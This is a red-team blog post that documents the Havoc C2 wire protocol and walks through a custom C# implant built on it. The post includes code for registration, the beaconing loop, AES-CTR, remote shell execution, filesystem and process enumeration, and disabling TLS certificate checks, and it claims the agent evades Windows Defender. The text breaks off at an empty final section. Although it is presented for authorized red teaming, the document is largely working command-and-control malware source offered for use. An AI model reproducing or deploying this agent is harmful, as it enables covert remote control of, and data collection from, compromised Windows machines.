Custom Havoc C2 Agent

Protocol Internals, Registration Handshakes, and a Version 1 Agent Built for Red Teamers to Extend

Written by: Iron Hulk Published: September 3, 2026 Iron Hulk

بسم الله الرحمن الرحيم


v1

This is Version 1: Intentional Gaps Remain

This project is a deliberate first iteration. Several capability gaps exist across OPSEC hardening, evasion, and protocol coverage. Rather than shipping a fully polished implant, I chose to leave those gaps open so that red teamers who use this as a foundation can research, implement, and deeply understand each piece themselves. A complete implant that you cannot explain is operationally dangerous. The gaps section at the end of this page maps every known missing capability in detail. The agent runs over plain HTTP by design. That is intentional for this version, it lets you inspect every byte of the exchange in a proxy or packet capture and follow the full workflow without TLS getting in the way. For any real deployment, switch HTTPS = true. Note that the code disables certificate validation to support self-signed C2 certs, TLS will encrypt the channel but will not authenticate the server. For production use, replace the blanket accept callback with certificate pinning. Upgrading to HTTPS with proper cert validation is one of the recommended first improvements alongside the other gaps listed below.

A sincere thank you to the colleagues and teammates who supported this project, for the conversations, the feedback, and the encouragement along the way.

Download the Source

The full annotated source is available on GitHub: HavocAgent.cs

Table of Contents


  1. 01What is Command and Control
  2. 02What is Havoc
  3. 03How Demon Calls Back to the Teamserver
  4. 04What Metadata the Agent Collects and Reports
  5. 05How to Write a Custom Agent DLL
  6. 06How the Custom Agent Works with Havoc
  7. 07Code Walk-Through: Block by Block
  8. 08Known Gaps and What to Build Next

1: What is Command and Control?

Post-exploitation without a C2 channel is a dead end. You land on the box, run your payload, and then you have nothing, no persistence, no tasking, no way to receive output. The C2 framework is what turns a one-shot payload into a session you can operate, issue commands, collect results, pivot, and re-task without touching the disk again.

The setup is the same across every framework. A teamserver sits on infrastructure you control, it stores session state, queues operator tasks, and decrypts inbound traffic. An operator client (GUI or CLI) is how you drive it. The agent running on the target polls the server, pulls down whatever is queued, executes it, and ships the output back. The target machine initiates every connection, the server never needs inbound access, so you punch through NAT and corporate firewalls without changing a single firewall rule.

Why Not a Simple Reverse Shell?

A basic reverse shell typically connects the target’s command interpreter to a listener over a long-lived TCP connection. Minimal implementations often lack encryption, automatic reconnection, centralized task history, and multi-operator support, and usually lose the interactive session when the connection drops. Many C2 frameworks add encrypted communication, periodic check-ins, reconnection logic, centralized tasking and logging, and operator collaboration. Supported transports, encryption schemes, and recovery behavior vary by framework and configuration.

Which Protocols Carry C2 Traffic?

HTTP and HTTPS dominate because they look identical to normal browser activity on the wire and because firewalls almost never block outbound port 443. Operators also use DNS tunneling for highly restricted environments, SMB named pipes for lateral movement within networks that have no direct internet egress, and increasingly, legitimate cloud APIs such as Slack, Notion, and Microsoft Graph as covert channels. The core idea does not change: an agent polls for work, executes it, and returns output over whatever channel is least likely to trigger an alert.

A C2 framework does not make exploitation easier. It makes post-exploitation persistent, coordinated, and operationally manageable at scale.

2: What is Havoc

Havoc was built by C5pider and released publicly in 2022. It is free, open source, and ships everything a real engagement needs. A Go teamserver, a Qt operator client, and a native Windows agent called Demon written in C with x64 assembly. The entire codebase is auditable, you can read exactly what the server does with your traffic, trace the encryption path, and understand the wire protocol well enough to re-implement it in another language. That auditability is what makes it genuinely useful for both offensive operators and defensive researchers.

Teamserver

Written in Go using the Gin web framework and Gorilla WebSocket. Stores session data in SQLite, authenticates operators via a YAOTL profile file, brokers all traffic between operators and agents on a configurable port.

Operator Client

Built in C++ with Qt. Provides a session table, an interactive console per agent, a visual session graph, and a Python script manager. Multiple operators connect simultaneously, share the session view in real time and many other features.

Demon Agent

Written in C with x64 assembly. Compiles on-demand via MinGW. Supports sleep obfuscation, indirect syscalls, return address spoofing, token impersonation, process injection, and COFF/BOF execution, all generated with embedded configuration at payload request time.

How Havoc Generates a Demon Payload

When an operator requests a Demon payload from the client, the teamserver compiles the Demon C source through MinGW on the server host and delivers the binary. The listener address, port, sleep interval, jitter, kill date, injection method, and evasion flags are all embedded at compile time, there is no runtime config file on the target. The operator picks an output format (shellcode, DLL, or EXE), the teamserver builds it on demand, and the binary is ready to deploy. That on-demand compilation is what the "Compiles on-demand via MinGW" line in the Demon card refers to.

The custom agent in this project skips that entire process. It is a standalone C# code with its C2 address and options hardcoded as constants, compiled once by the developer. You drop it on the target and it calls back to the same teamserver using the same wire protocol Demon uses. From the server's perspective there is no difference, it sees the correct magic value, accepts the registration, and shows a new session row in the operator client. No teamserver modification, no payload profile, no MinGW.

How Havoc Compares to Other Frameworks

Framework Comparison

Framework Language Cost Agent Custom Agent
HavocGo / C++ / CFree, open sourceDemon (C/ASM)Source only, no spec
Cobalt StrikeJava~$5,000 / operator / yearBeacon (C)Yes, ExternalC2
SliverGoFree, open sourceGo implantLimited
Brute RatelC++~$2,500 / operator / yearBadger (C++)No
MetasploitRubyFree (community)Meterpreter (C)Difficult

What makes Havoc useful for this project is that the wire protocol is consistent and derivable from the source. There is no official protocol specification and going through the official Havoc repository at github.com/HavocFramework/Havoc and analysing the teamserver Go source directly is how every detail in this blog was established. Any agent that sends the right bytes shows up as a fully functional session, the server does not care what language produced the binary, what evasion technique it uses, or how it manages memory. Write the agent in C#, Rust, or Python, apply whatever evasion strategy fits your target environment, and the full Havoc operator tooling works without touching a single line of server code.


3: How Demon Calls Back to the Teamserver

Before the agent can receive any commands it has to register. This one-time handshake transmits the session encryption key, proves the agent's identity, and delivers all the metadata the operator sees in the session table. The polling loop does not start until the server confirms it.

Step 1: The Registration Packet

Registration is an HTTP POST. The packet layout below was established by reading the HTTP handler and agent registration code in the official Havoc repository, there is no published specification. The packet opens with a 20-byte fixed header the server uses to identify and route traffic, followed by the AES-256 key and IV sent in plaintext, and then the metadata blob encrypted with those same keys.

Registration Packet Layout: Agent to Teamserver

SIZE (4 bytes BE)Total byte count of everything after this field
MAGIC (4 bytes BE)Fixed identifier: 0xDEADBEEF for the stock teamserver. The agent must use the same value as the teamserver binary it connects to, or registration is silently dropped.
AGENT_ID (4 bytes BE)Random 32-bit session identifier generated on startup
CMD_INIT (4 bytes BE)Fixed value 99, signals this is a registration packet, not a task result
ZERO (4 bytes BE)Padding field and always 0
AES_KEY (32 bytes)Session encryption key: written raw into the packet, no wrapping. The server needs it in plaintext to decrypt the body that follows. The agent ships with HTTPS = false, so on plain HTTP this key travels in cleartext and any observer on the network can read it directly. Setting HTTPS = true wraps the entire request in TLS, which hides the key from passive interception.
AES_IV (16 bytes)Session IV: same situation, it's in cleartext on HTTP, encrypted on HTTPS. Fixed for the lifetime of the session; every packet reuses it, which is the keystream reuse weakness covered in the gaps section.
ENCRYPTED_BODYAll session metadata, AES-256-CTR encrypted with the key and IV above
Important: The AES key and IV travel in the same HTTP request as the encrypted registration body. Any passive observer on the network can read them directly off the wire and decrypt everything that follows. Run the listener on HTTPS in any real deployment.

Step 2: The Teamserver Acknowledges

The server decrypts the registration body, extracts the metadata fields, stores the session in SQLite, and fires a WebSocket event to every connected operator client and the new row appears instantly. The HTTP response is just the agent ID encrypted with the session key. The agent decrypts it, confirms the ID matches what was sent, and moves on.

Step 3: The Polling Loop

After registration the agent enters its polling loop. Every cycle it POSTs a minimal 20-byte check-in packet, the server dequeues any pending tasks and packs them into the response, and the agent dispatches them. Nothing queued means a CMD_NOJOB(10) and the agent goes back to sleep. The server never initiates contact, the agent always pulls, which means no inbound firewall rules are needed on your infrastructure.

Task Response Packet: Teamserver to Agent

No count prefix: the agent reads tasks until the response bytes are exhausted:

CMD (4 bytes LE)Command identifier, e.g. 15 for filesystem operations
REQ_ID (4 bytes LE)Unique request ID used to correlate the output
LENGTH (4 bytes LE)Byte count of the AES-encrypted data that follows
AES(data)Task payload encrypted with the session key and fixed session IV, no per-task nonce in the stock binary
Stock teamserver encryption: The stock Havoc teamserver binary encrypts every task with AES-CTR(DataPayload, sessionKey, sessionIV) where sessionIV is the fixed 16-byte IV sent during registration, no per-task nonce. The agent decrypts each task as AesCtr(enc, _key, _iv). If you are running a modified teamserver binary that prepends a per-task nonce, the agent will need to strip it before decrypting, mismatching this produces garbage that looks identical to a wrong AES key.

Step 4: Sending Results Back

When a task finishes the agent POSTs a result packet back. CMD and REQ_ID sit unencrypted in the header so the server can route and correlate the packet before touching the AES layer, useful when many agents are beaconing at once. Inside the encrypted payload, command output uses DEMON_OUTPUT's two-level length prefix: an outer length covering the inner prefix plus the data, and an inner length covering just the raw bytes.

Result Packet Layout — Agent to Teamserver

SIZE (4 bytes BE)Byte count of everything after this field
MAGIC (4 bytes BE)Same magic value as registration
AGENT_ID (4 bytes BE)This agent's session identifier
CMD (4 bytes BE)Plaintext — command ID (e.g. 90 for output, 15 for FS)
REQ_ID (4 bytes BE)Plaintext — correlates output to the originating task
AES(payload)Encrypted: [OUTER_LEN 4BE][INNER_LEN 4BE][output bytes]

4: What Metadata the Agent Collects and Reports

The encrypted registration body carries a fixed sequence of fields the server extracts and stores in SQLite. All field names, types, and ordering in the table below were confirmed by reading the agent registration handler in the Havoc teamserver source, the Havoc website and GitHub carry no metadata specification. These are what populate the session table columns on first callback. The parser reads them in exact order, no field names, no separators, just byte counts. One field out of sequence silently corrupts every field that follows it.

Registration Metadata Fields

Field Type How It Is Collected Client Column
HostnameASCII, BE length prefixDns.GetHostName()Computer
UsernameASCII, BE length prefixEnvironment.UserNameUser
DomainASCII, BE length prefixEnvironment.UserDomainNameDomain
Internal IPASCII, BE length prefixNetworkInterface.GetAllNetworkInterfaces()IP
Process pathUTF-16 LE, BE length prefixProcess.GetCurrentProcess().MainModule.FileNameProcess
Process ID4 bytes BEProcess.GetCurrentProcess().IdPID
OS version5 × 4 bytes BEMajor, minor, and build read at runtime via Environment.OSVersion; product type and service pack level are hardcoded (1 and 0)OS
Process architecture4 bytes BERuntime: IntPtr.Size == 8 ? 2 : 1 — 1 = x86, 2 = x64Arch tag
Processor architecture4 bytes BEHardcoded 9 (PROCESSOR_ARCHITECTURE_AMD64 / x64)
Elevated flag4 bytes BEWindowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator)Star icon
Sleep interval4 bytes BE (seconds)From compiled-in constant, converted to secondsSleep
Jitter percentage4 bytes BEFrom compiled-in constant, as a whole percentageJitter

The only string encoding exception is the process path, which uses UTF-16 LE where everything else uses ASCII. Most integers and length prefixes are 4-byte big-endian; 64-bit fields such as the base address are 8-byte big-endian. Get one encoding wrong and the session row shows garbage text; get the order wrong and everything after the misplaced field is garbage.

The C# agent reads OS version fields at runtime using Environment.OSVersion. Be aware that the underlying Win32 call (GetVersionEx) lies on Windows 8.1 and later, returning 6.2 regardless of the real version unless an application manifest declares OS compatibility. A production agent should call RtlGetVersion via P/Invoke, which always returns the real version numbers.

5: How to Write a Custom Agent DLL

Writing a custom Havoc-compatible agent means implementing a specific wire protocol over HTTP, and nothing more. The teamserver does not care what language produces the binary, how the binary manages memory, or what evasion techniques it uses internally. No teamserver modification is needed and any HTTP POST arriving at the listener with the correct magic value is accepted and processed as a valid agent. The only thing that matters is that the bytes match the format it expects. The five implementation tasks below were identified by analysing the teamserver source at github.com/HavocFramework/Havoc, in the absence of any published specification, the source code is the only authoritative reference. In practice, this breaks down into five distinct implementation tasks.

1) Generate a Session Key and ID

At startup, generate a 32-byte AES session key, a 16-byte AES IV, and a 32-bit agent ID from a cryptographically secure source. In C# use RNGCryptoServiceProvider, never the standard Random class. The agent ID becomes the permanent session identifier on both sides.

2) Synchronise the Magic Value

The magic value is a 4-byte big-endian constant the teamserver checks first and drops any packet that does not match. Stock Havoc uses 0xDEADBEEF. If you are running a modified teamserver binary with a different value, update this constant to match. Mismatching it produces no useful error, so check it first whenever registration fails silently.

3) Implement AES-256-CTR

Havoc uses AES-256 CTR mode for all payload encryption. The counter starts at the session IV and increments as a big-endian integer (last byte first, with carry). A critical detail, the stock teamserver uses the same fixed session IV for every task it encrypts/decrypt each task as AesCtr(encBytes, sessionKey, sessionIV). Results sent back to the server are also encrypted with the same fixed IV. This means every packet shares the same keystream, which is a known weakness detailed in the gaps section, but it is the behaviour you must match to interoperate with the stock binary.

4) Build and Send the Registration Packet

Assemble each metadata field in the exact parser order: hostname, username, domain, and IP as 4-byte BE length then ASCII bytes; process path as 4-byte BE length then UTF-16 LE bytes; most integers as 4-byte BE; 64-bit fields such as base address as 8-byte BE. Encrypt the entire body. Prepend the outer header: SIZE(BE), MAGIC(BE), AGENT_ID(BE), CMD_INIT=99(BE), ZERO(BE), then the key and IV in plaintext. POST and check that the decrypted response echoes back your agent ID.

5) Write the Polling Loop and Command Dispatcher

After successful registration, enter the check-in loop. On each iteration send a POST, read the response, and loop until the bytes are exhausted, read CMD(4LE), REQ_ID(4LE), LENGTH(4LE), decrypt the task data, and dispatch to the handler. After the handler returns, assemble the result packet, SIZE(BE), MAGIC(BE), AGENT_ID(BE), CMD(BE plaintext), REQID(BE plaintext), then AES(OUTER_LEN, INNER_LEN, bytes), and POST it back. Sleep for the configured interval with optional jitter and repeat.

C# Registration Sketch

// Generate session credentials
byte[] key = new byte[32];
byte[] iv  = new byte[16];
using var rng = new RNGCryptoServiceProvider();
rng.GetBytes(key); rng.GetBytes(iv);
uint agentId = (uint)new Random().Next(0x100000, int.MaxValue);

// Encrypted metadata body — field order enforced by ParseDemonRegisterRequest
var body = new MemoryStream();
WriteBEStr(body, hostname);    // ASCII + BE length prefix
WriteBEStr(body, username);
WriteBEStr(body, domain);
WriteBEStr(body, internalIp);
WriteBEWStr(body, processPath); // UTF-16 LE + BE length prefix
WriteBE32(body, (uint)pid); WriteBE32(body, (uint)tid); WriteBE32(body, (uint)ppid);
WriteBE32(body, osFlags); WriteBE32(body, elevated); WriteBE64(body, processFlags);
WriteBE32(body, osMajor); WriteBE32(body, osMinor); WriteBE32(body, osProductType);
WriteBE32(body, osPack); WriteBE32(body, osBuild); WriteBE32(body, arch);
WriteBE32(body, sleepSecs); WriteBE32(body, jitterPct);
WriteBE64(body, killDate); WriteBE32(body, workingHours);
byte[] encBody = AesCtr(body.ToArray(), key, iv);

// Outer packet: [SIZE 4BE][MAGIC 4BE][AGENT_ID 4BE][CMD_INIT=99 4BE][ZERO 4BE][KEY 32][IV 16][encBody]
var pkt = new MemoryStream();
WriteBE32(pkt, 0);             // SIZE placeholder — backfilled below
WriteBE32(pkt, 0xDEADBEEF);   // MAGIC — must match the value compiled into the teamserver binary
WriteBE32(pkt, agentId);
WriteBE32(pkt, 99);            // CMD_INIT
WriteBE32(pkt, 0);             // ZERO padding
pkt.Write(key, 0, 32); pkt.Write(iv, 0, 16);
pkt.Write(encBody, 0, encBody.Length);
byte[] raw = pkt.ToArray();
uint sz = (uint)(raw.Length - 4);
raw[0]=(byte)(sz>>24); raw[1]=(byte)(sz>>16); raw[2]=(byte)(sz>>8); raw[3]=(byte)sz;
byte[] resp = HttpPost(C2_URL, raw);

6: How the Custom Agent Works with Havoc

This project ships a custom agent written in C# targeting .NET Framework 4.5+. It implements the full Havoc wire protocol and exposes the commands listed below to the operator through the Havoc client. As of the time of writing, the agent has been tested against Windows Defender and passes without triggering a detection and the evasion gaps noted in section 8 remain open improvement areas.

Supported Commands

Command Coverage

Operator Command CMD ID What the Agent Does Implemented
sleep <s>11Updates the polling interval (value is in seconds) and jitter percentage on each cycleYes
ps12Enumerates all running processes via Process.GetProcesses(), returning PID, PPID, name, WOW64 status, and sessionYes
ls / cd / mkdir / rm / cat / cp / mv / pwd15Filesystem operations — 4-byte LE sub-command integer selects DIR, CD, MKDIR, REMOVE, CAT, CP, MV, PWD. Download (sub=2) and upload (sub=3) are intentional gaps.Yes
shell <cmd> / run / kill0x1010Spawns processes, captures stdout and stderr with a 30-second watchdog, terminates hangers, returns real PIDsYes
exit92Terminates the agent process cleanlyYes

The Shell Timeout Watchdog

Before this fix, running a command like ping -t 127.0.0.1 from the Havoc client would cause the agent to block forever on the pipe read, making the session appear dead. The fix uses two parallel reader threads to drain stdout and stderr simultaneously, which eliminates both the hang and a pre-existing pipe deadlock where a child writing enough bytes to fill the stderr buffer while the agent was reading stdout would cause both sides to hang indefinitely. A 30-second watchdog timer terminates the child process and unblocks the drain loop if the command does not complete in time.

Lesson Learned: Wrong Assumption About AES Encryption

During development the agent connected and registered successfully but every shell command returned no output. Logging the raw decrypted bytes revealed the cause, the first 8 bytes were garbage instead of the expected sub-command 04-00-00-00. The C# agent had been written to strip a 16-byte per-task nonce from the front of each encrypted payload before decrypting, a reasonable assumption, but wrong. Reading teamserver/pkg/agent/agent.go directly confirmed it. The stock teamserver encrypts task payloads with the fixed session IV and emits no nonce. The fix was two lines: decrypt tasks as AesCtr(enc, _key, _iv) with the session IV, and encrypt results the same way. The broader lesson, "Read the teamserver source and verify your assumptions before debugging the agent. A wrong assumption about the encryption format produces garbage that looks identical to a wrong AES key."

Deployment note: The agent hard-codes the C2 address and port as compile-time constants. There is no malleable profile or dynamic configuration loaded at runtime. Changing the listener address requires recompiling. This is one of the intentional gaps, a red teamer building on this base should implement an encrypted config blob that decodes at startup.

7: Code Walk-Through "Block by Block"

This section walks through every block of HavocAgent.cs. Explaining what the C# code does, what the Havoc teamserver expects on the other end, and precisely how the two sides synchronise. Everything described under the "Teamserver side" labels was established by reading the official Havoc repository source. Read this alongside the source file; each sub-section maps directly to a named method or group of constants.

1: Configuration Constants

Teamserver side: The Havoc listener is configured in a profile.yaotl file that sets the bind host, port, and HTTP path. The agent must mirror those values exactly and wrong host or URI causes the HTTP POST to 404 before the teamserver even sees the body.
// The only values you change before compiling
const string HOST  = "CHANGE_ME";   // C2 IP or hostname from your listener profile
const int    PORT  = 80;            // C2 port from your listener profile
const bool   HTTPS = false;
const string URI   = "/";            // must match the Http.Uri value in the profile
const string UA    = "Mozilla/5.0 ..."; // sent in every HTTP POST

These constants are embedded directly into the compiled binary. There is no runtime config loaded from disk. The UA string is sent as the User-Agent header on every HTTP request. The teamserver does not validate the User-Agent, but a realistic value blends the traffic into normal browser noise on any network sensor that logs HTTP headers.

2: Protocol IDs and Magic Value

Teamserver side: Every incoming packet is checked against the magic value in the first 8 bytes before any further parsing. The stock binary has 0xDEADBEEF compiled in. A mismatch causes the handler to drop the packet silently with no error, no log. The command IDs come from the same constants table that drives the teamserver's dispatcher.
const uint DEMON_MAGIC   = 0xDEADBEEF;  // stock teamserver — swap if using a modified binary
const uint CMD_INIT      = 99;   // registration handshake
const uint CMD_GETJOB    = 1;    // poll for queued tasks
const uint CMD_NOJOB     = 10;   // server has nothing queued
const uint CMD_SLEEP     = 11;   // update polling interval
const uint CMD_PROC_LIST = 12;   // process enumeration
const uint CMD_FS        = 15;   // filesystem operations (sub-command selects action)
const uint CMD_PROC      = 0x1010; // process create / kill
const uint CMD_OUTPUT    = 90;   // command output back to operator
const uint CMD_EXIT      = 92;   // terminate agent process

Each filesystem (FS) and process (PROC) command uses a second-level sub-command integer inside the encrypted payload to select the specific action. This lets the teamserver share one top-level command ID for an entire category of operations while the agent branches on the sub-command byte after decryption.

3: Session State and Entry Point

Teamserver side: When the teamserver receives a valid registration it stores the agent ID, AES key, AES IV, and all metadata in SQLite. Every subsequent packet from the same agent ID is decrypted using those stored key and IV values. The three session variables — _id, _key, _iv — are the cryptographic identity of the session on both sides.
// Generated once at startup — never changes for the lifetime of this session
static uint   _id;          // 32-bit random agent identity
static byte[] _key;         // 32-byte AES-256 session key
static byte[] _iv;          // 16-byte AES CTR session IV
static int    _sleepMs = 5000; // operator-updatable at runtime via CMD_SLEEP
static int    _jitter  = 10;

// Start() generates them from a cryptographically secure source
_key = new byte[32]; _iv = new byte[16];
using (var rng = new RNGCryptoServiceProvider()) { rng.GetBytes(_key); rng.GetBytes(_iv); }
var rnd = new Random();
_id = (uint)rnd.Next(0x100000, int.MaxValue);

Start() also disables TLS certificate validation so the agent connects to a self-signed cert on the teamserver without throwing. It then retries Register() every 15 seconds until the handshake succeeds, then enters the infinite check-in loop. The jitter each cycle is computed as (_sleepMs × _jitter%) + random(0, result), producing irregular beacon intervals that are harder to identify from network traffic timing alone.

4: Registration: BuildInitPayload() + BuildInitPacket()

Teamserver side: ParseDemonRegisterRequest in demons.go reads each field in exact order using its own length-prefixed reader. One field out of sequence corrupts all subsequent reads, the parser does not validate field names, only byte counts. After parsing, the teamserver stores the session in SQLite and broadcasts a WebSocket event to all connected operator clients, causing the new session row to appear instantly in their tables.
// BuildInitPayload() — order is enforced by the teamserver parser
WriteBE32(ms, _id);
WriteBEStr(ms, hostname);   // ASCII + 4-byte BE length prefix
WriteBEStr(ms, username);
WriteBEStr(ms, domain);
WriteBEStr(ms, ip);
WriteBEWStr(ms, proc);      // UTF-16 LE bytes + 4-byte BE length prefix (process path)
WriteBE32(ms, (uint)pid);  WriteBE32(ms, (uint)tid);  WriteBE32(ms, (uint)ppid);
WriteBE32(ms, arch);        // process arch: IntPtr.Size == 8 ? 2 : 1  (runtime)
WriteBE32(ms, elev);        // elevated: WindowsPrincipal.IsInRole(Admin)  (runtime)
WriteBE64(ms, baseAddr);    // base address: MainModule.BaseAddress  (runtime, 8 bytes)
WriteBE32(ms, (uint)osv.Major);  // OS major  (runtime)
WriteBE32(ms, (uint)osv.Minor);  // OS minor  (runtime)
WriteBE32(ms, 1);           // product type (hardcoded)
WriteBE32(ms, 0);           // OS pack (hardcoded)
WriteBE32(ms, (uint)osv.Build);  // build: Environment.OSVersion  (runtime)
WriteBE32(ms, 9);           // processor arch: PROCESSOR_ARCHITECTURE_AMD64 (hardcoded)
WriteBE32(ms, (uint)(_sleepMs/1000));
WriteBE32(ms, (uint)_jitter);
WriteBE64(ms, 0UL);         // kill date
WriteBE32(ms, 0);           // working hours

// BuildInitPacket() wraps it — key and IV go in plaintext before the encrypted body
// [SIZE 4BE][MAGIC 4BE][_id 4BE][CMD_INIT=99 4BE][ZERO 4BE][KEY 32][IV 16][AES(body)]

The process path field is the only string that uses UTF-16 LE bytes instead of ASCII, this matches what the teamserver displays in the operator client's Process column. Most integers are 4-byte big-endian; the base address field is 8-byte big-endian. The key and IV travel in plaintext so the teamserver can bootstrap decryption of the encrypted body. Register() verifies success by checking that the server's response, when decrypted with AesCtr(resp, _key, _iv), contains the same agent ID that was sent, confirming the server accepted the registration packet and stored the session correctly.

5: AES-256-CTR: AesCtr()

Teamserver side: XCryptBytesAES256 in teamserver/pkg/common/crypt/aes.go implements the same algorithm, AES-ECB per block, XOR with data, counter incremented big-endian from the last byte. Critically, the teamserver calls it as XCryptBytesAES256(payload, sessionKey, sessionIV) with the fixed session IV for every single task. There is no per-task nonce in the stock binary.
// Counter resets to _iv on EVERY call — intentional to match teamserver behaviour
static byte[] AesCtr(byte[] data, byte[] key, byte[] iv)
{
    byte[] result  = new byte[data.Length];
    byte[] counter = (byte[])iv.Clone();   // starts at session IV every time
    int off = 0;
    while (off < data.Length)
    {
        // Encrypt the counter with AES-ECB to produce a keystream block
        byte[] ks;
        using (var aes = Aes.Create())
        { aes.Mode = CipherMode.ECB; aes.Key = key;
          ks = aes.CreateEncryptor().TransformFinalBlock(counter, 0, 16); }
        int n = Math.Min(16, data.Length - off);
        for (int i = 0; i < n; i++) result[off+i] = (byte)(data[off+i] ^ ks[i]);
        off += n;
        // Increment counter big-endian (last byte first, with carry)
        for (int i = counter.Length-1; i >= 0; i--)
            if (++counter[i] != 0) break;
    }
    return result;
}

The counter increment, last byte first with carry, matches Go's incrementCounter in the teamserver exactly. The most important constraint is that the counter must reset to the session IV on every call to match what the teamserver does. This is cryptographically weak (every packet reuses the same keystream, which is a known many-time pad vulnerability covered in the gaps section), but it is what the stock binary implements. Any deviation produces garbage decryption on one side or the other.

6: Check-In: CheckIn() + BuildGetJobPacket()

Teamserver side: BuildPayloadMessage in agent.go dequeues pending tasks and packs each one as [CMD 4LE][REQID 4LE][LEN 4LE][AES-CTR(data, key, fixedIV)]. All tasks are concatenated into one response body with no count prefix, the agent reads until bytes are exhausted. If the queue is empty the server sends a single CMD_NOJOB(10) record with LEN=0.
// Get-job packet: exactly 20 bytes
// [16 4BE][MAGIC 4BE][_id 4BE][CMD_GETJOB=1 4BE][ZERO 4BE]

// CheckIn() reads the response as a stream of task records:
while (off + 12 <= resp.Length)
{
    uint cmd   = ReadLE32(resp, off); off += 4;   // little-endian from server
    uint reqId = ReadLE32(resp, off); off += 4;
    uint len   = ReadLE32(resp, off); off += 4;
    byte[] enc = new byte[len];
    Array.Copy(resp, off, enc, 0, (int)len); off += (int)len;
    if (cmd == CMD_NOJOB) continue;
    // Decrypt with fixed session IV — stock binary sends no per-task nonce
    byte[] data = AesCtr(enc, _key, _iv);
    DispatchTask(cmd, reqId, data);
}

The 16 in the first field of the get-job packet is the SIZE value, it counts the bytes after itself (4 fields × 4 bytes = 16). The teamserver identifies this as a check-in rather than a registration by the command ID (CMD_GETJOB=1 vs CMD_INIT=99). All fields from the server to the agent are little-endian; all fields from the agent to the server are big-endian. This asymmetry reflects Go's internal packer, which uses binary.LittleEndian when writing tasks and expects binary.BigEndian when reading agent results.

7: Task Dispatch: DispatchTask()

Teamserver side: Each operator action in the Havoc client translates to a specific command ID. The client serialises the task, the teamserver queues it keyed by agent ID and command ID, and delivers it on the next check-in. The agent's switch statement mirrors the server's command table exactly, any unhandled CMD is silently ignored, producing no response and no error visible to the operator.
switch (cmd)
{
    case CMD_SLEEP:
        // Task data: [seconds 4LE][jitter% 4LE] — handled inline, no result packet needed
        if (data.Length >= 4) _sleepMs = (int)ReadLE32(data, 0) * 1000;
        if (data.Length >= 8) _jitter  = (int)ReadLE32(data, 4);
        break;

    case CMD_EXIT:
        Environment.Exit(0);  // immediate termination, no result
        break;

    case CMD_FS:       DispatchFs(reqId, data);       break;
    case CMD_PROC:     DispatchProc(reqId, data);     break;
    case CMD_PROC_LIST: DispatchProcList(reqId, data); break;
    // Any other CMD falls through silently — add a case to implement it
}

CMD_SLEEP and CMD_EXIT are handled inline because they need no result packet, the teamserver knows the sleep interval was accepted because the agent continues beaconing at the new rate, and CMD_EXIT never returns. All other commands delegate to a dedicated handler that does the work, then sends one or more result packets before returning.

8: Filesystem Operations: DispatchFs() + SendFsBlock()

Teamserver side: The teamserver's FS command handler in commands.go reads the first decrypted 4-byte LE value as the sub-command, then parses the remainder according to the sub-command's specific layout. The result packet must carry CMD_FS in the plaintext CMD field, and the AES payload must open with [LEN 4BE][sub 4BE][...operation-specific data...]. The operator client maps each sub-command to a specific UI widget, dir results populate the file browser, pwd results update the path bar.
// DispatchFs — reads sub-command then routes
uint sub = ReadLE32(data, 0);   // 4 LE bytes from decrypted task

case FS_PWD:   // sub=9
{
    string cwd = Directory.GetCurrentDirectory();
    SendFsBlock(reqId, sub, ms => { WriteU16String(ms, cwd); });
    break;
}

// SendFsBlock builds the result envelope expected by the teamserver parser:
//   inner = [sub 4BE][operation data]
//   plain = [innerLen 4BE][inner]
// Then calls SendResultPacket(CMD_FS, reqId, plain)

Eight sub-commands are implemented: dir (1), cd (4), remove (5), mkdir (6), cp (7), mv (8), pwd (9), and cat (10). Download (sub=2) and upload (sub=3) are intentional gaps. For dir, the code handles two special cases: when the path is empty or "." it returns the list of logical drives instead of a directory listing, which is what the Havoc file browser sends on its first open; when the path points to a real directory it enumerates files and subdirectories with name, size, type flag, and last-write timestamp in the format the client renders.

9: Process Execution: DispatchProc() + RunProcess()

Teamserver side: When the operator runs shell whoami or run notepad.exe, the client sends CMD_PROC (0x1010) with sub-command PROC_CREATE=4. The task payload carries a state field (ignored by this agent), the executable path, and the argument string, all as LE length-prefixed UTF-16 strings. The teamserver expects two result packets back: first a CMD_OUTPUT(90) packet carrying the process output, then a CMD_PROC result carrying the PID and success flag to update the process column in the operator client.
// RunProcess — dual-thread drain prevents pipe deadlock
string o = "", e = "";
var outThread = new Thread(() => { o = p.StandardOutput.ReadToEnd(); });
var errThread = new Thread(() => { e = p.StandardError.ReadToEnd();  });
outThread.IsBackground = true; errThread.IsBackground = true;
outThread.Start(); errThread.Start();

bool exited = p.WaitForExit(30000);        // 30-second watchdog
if (!exited) { p.Kill(); }               // kill hangers, unblocks pipe drain threads
outThread.Join(5000); errThread.Join(5000);

// Two result packets:
SendOutput(reqId, output);                 // CMD_OUTPUT — what the operator sees in the console
SendProcCreateResult(reqId, proc, pid, ...); // CMD_PROC  — PID + success flag

The dual-thread drain is not optional, a single-threaded sequential read (stdout first, then stderr) deadlocks if the child process writes enough bytes to fill the stderr pipe buffer before stdout is exhausted, because the child blocks on its stderr.Write while the agent is blocked on stdout.Read. Both pipes must be drained concurrently. Killing the process on timeout closes the child end of both pipes, which signals end-of-file to the read threads and unblocks them naturally without needing an explicit pipe close.

10: Process List: DispatchProcList()

Teamserver side: The ps command sends CMD_PROC_LIST(12) with an empty payload. The teamserver's result parser reads a repeating sequence of per-process fields until the decrypted buffer is exhausted — name, PID, WoW64 flag, PPID, session ID, thread count, username. The operator client renders this as the process table and uses the same data to populate the session graph showing process trees.
foreach (var p in Process.GetProcesses())
{
    WriteU16String(inner, name);          // UTF-16 + BE length
    WriteBE32(inner, (uint)pid);
    WriteBE32(inner, GetIsWow64(p) ? 1u : 0u);  // IsWow64 via P/Invoke to kernel32.IsWow64Process
    WriteBE32(inner, (uint)ppid);         // from NtQueryInformationProcess
    WriteBE32(inner, (uint)sess);
    WriteBE32(inner, (uint)thrs);
    WriteU16String(inner, user);          // DOMAIN\username from OpenProcessToken + LookupAccountSid
}
// Wrap: [LEN 4BE][ProcessUI=0 4BE][per-process records...]

PPID is retrieved with a P/Invoke to NtQueryInformationProcess(ProcessBasicInformation), which fills a PROCESS_BASIC_INFORMATION struct containing the InheritedFromUniqueProcessId field. Username resolution calls OpenProcessToken then LookupAccountSid and both fail silently for system processes, returning an empty string, which the teamserver handles gracefully. The ProcessUI=0 flag in the outer header tells the client this is a full snapshot rather than a live-update stream.

11: Result Sending: SendOutput() + SendResultPacket()

